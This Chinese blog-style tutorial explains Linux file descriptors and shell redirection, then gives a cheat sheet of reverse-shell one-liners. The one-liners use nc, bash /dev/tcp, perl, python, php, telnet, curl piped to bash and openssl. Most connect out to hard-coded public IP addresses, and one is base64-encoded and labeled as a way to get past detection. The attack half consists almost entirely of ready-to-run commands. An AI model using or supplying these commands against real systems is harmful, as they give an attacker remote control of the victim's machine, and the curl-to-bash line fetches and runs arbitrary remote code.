Linux反弹shell的几种方式
文章目录
- 文件描述符
- 重定向
- 标准输出重定向(> 和 >>)
- 标准输入重定向(<)
- 标准错误重定向(2> 和 2>>)
- 同时重定向标准输出和标准错误
- 管道(|)
- 空设备重定向(>/dev/null 和 2>/dev/null)
- 创建文件描述符
- 反弹shell的几种方式
- NC
- Bash
- perl
- Curl
- Python
- PHP
- Telnet
- OpenSSL
文件描述符
Linux文件描述符(File Descriptor)可以简单理解为操作系统用来跟踪和管理打开的文件或资源的一个编号。想象它像图书馆里每本书的编号,方便系统找到并操作具体的书(文件、设备或网络连接)。
举个例子: 假设你用文本编辑器打开一个文件test.txt:
- 程序请求操作系统打开文件。
- 系统分配一个文件描述符(比如3)给test.txt。
- 程序通过描述符3读写文件内容。
- 关闭文件后,描述符3被释放,可以给其他文件用。
常见的默认描述符: Linux系统启动时会自动为每个进程分配三个标准文件描述符:
- 0:标准输入(stdin),通常是键盘输入。
- 1:标准输出(stdout),通常是屏幕显示。
- 2:标准错误(stderr),错误信息输出到屏幕。
重定向
重定向是把输出定向到文件或标准流,重定向输入输出本质上就是重定向文件描述符
标准输出重定向(> 和 >>)
ls > output.txt # 把 ls 命令的输出写入 output.txt,覆盖原内容
echo "Hello" >> output.txt # 追加 "Hello" 到 output.txt
标准输入重定向(<)
sort < names.txt # 从 names.txt 读取内容并排序
标准错误重定向(2> 和 2>>)
ls /fake/dir 2> error.log # 把错误信息写入 error.log
ls /fake/dir 2>> error.log # 追加错误信息到 error.log
同时重定向标准输出和标准错误
&> 或 &>>:同时重定向标准输出(1)和标准错误(2)。
更精确写法:> file 2>&1(输出到文件,错误也跟输出走)。
ls /real/dir /fake/dir &> output_and_error.log # 正常输出和错误都写入文件
ls /real/dir /fake/dir > output.log 2>&1 # 同上,传统写法
管道(|)
作用:管道不是传统意义上的重定向,但它把一个命令的输出(标准输出)直接作为另一个命令的输入(标准输入)。
ls | grep ".txt" # 把 ls 的输出传给 grep,筛选含 .txt 的文件
你想从 ls 的文件列表中只看文本文件,直接用 grep 过滤。
空设备重定向(>/dev/null 和 2>/dev/null)
作用:把输出或错误丢到“黑洞”(/dev/null),也就是丢弃不显示。
ls /fake/dir 2>/dev/null # 错误信息不显示
ping google.com > /dev/null # 只看命令执行,不看输出
创建文件描述符
创建文件描述符是指程序或 shell 告诉操作系统:“我要打开一个文件/资源,给我分配一个编号(文件描述符)来操作它。” 系统会返回一个整数(通常从 3 开始,因为 0、1、2 是标准输入/输出/错误),程序通过这个编号来读写或管理资源。
exec 3>output.txt # 创建文件描述符 3,关联到 output.txt(写)
echo "Hello" >&3 # 通过描述符 3 写入
exec 3>&- # 关闭描述符 3
exec 4<input.txt # 创建描述符 4,关联到 input.txt(读)
read line <&4 # 从描述符 4 读取一行
echo "读到: $line"
exec 4<&- # 关闭描述符 4
反弹shell的几种方式
NC
NC正向shell
被控端
nc -lvvp 6666 -e /bin/sh控制端
nc 10.10.1.7 6666原理:被控端使用nc将/bin/sh绑定到本地的6666端口,控制端主动连接
NC正向shell
被控端
nc -lvvp 6666控制端
nc -e /bin/sh 10.10.1.11 6666原理:被控端使用nc将/bin/sh发送到控制端的6666端口,控制端等待即可
Bash
被控端:
bash -i >& /dev/tcp/47.101.214.85/6666 0>&1控制端:
nc –lvvp 6666被控端:
exec 5<>/dev/tcp/139.155.49.43/6666;cat <&5 | while read line; do $line 2>&5 >&5; done
控制端:
nc –lvvp 6666
base64编码绕过:
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuMjE0Ljg1LzY2NjYgMD4mMQ==|base64 -d|bas
h -i"
perl
被控端
perl -e 'use Socket;$i="47.101.214.85";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyna
me("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">
&S");open(STDERR,">&S");exec("/bin/sh -i");};'控制端
nc -lvvp 6666
被控端
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"47.101.214.85:6666"
);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'控制端
nc -lvvp 6666
Curl
被控端
curl 139.155.49.43:8000|bash
或
curl http://139.155.49.43:8000/index.html|bash控制端
提前准备好需要的脚本
Python
Python一行命令反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREA
M);s.connect(("47.101.214.85",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2
(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
PHP一行命令反弹shell
php -r '$sock=fsockopen("47.101.214.85",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
Telnet
攻击机:
nc -lvvp 5555
nc -lvvp 6666
目标机:
telnet 47.101.214.85 5555 | /bin/bash | telnet 47.101.214.85 6666
OpenSSL
openssl反弹443端口,流量加密传输
- 在远程攻击主机上生成秘钥文件
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
- 在远程攻击主机上启动监视器
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
- 在目标机上反弹shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP
>: > /tmp/s; rm /tmp/s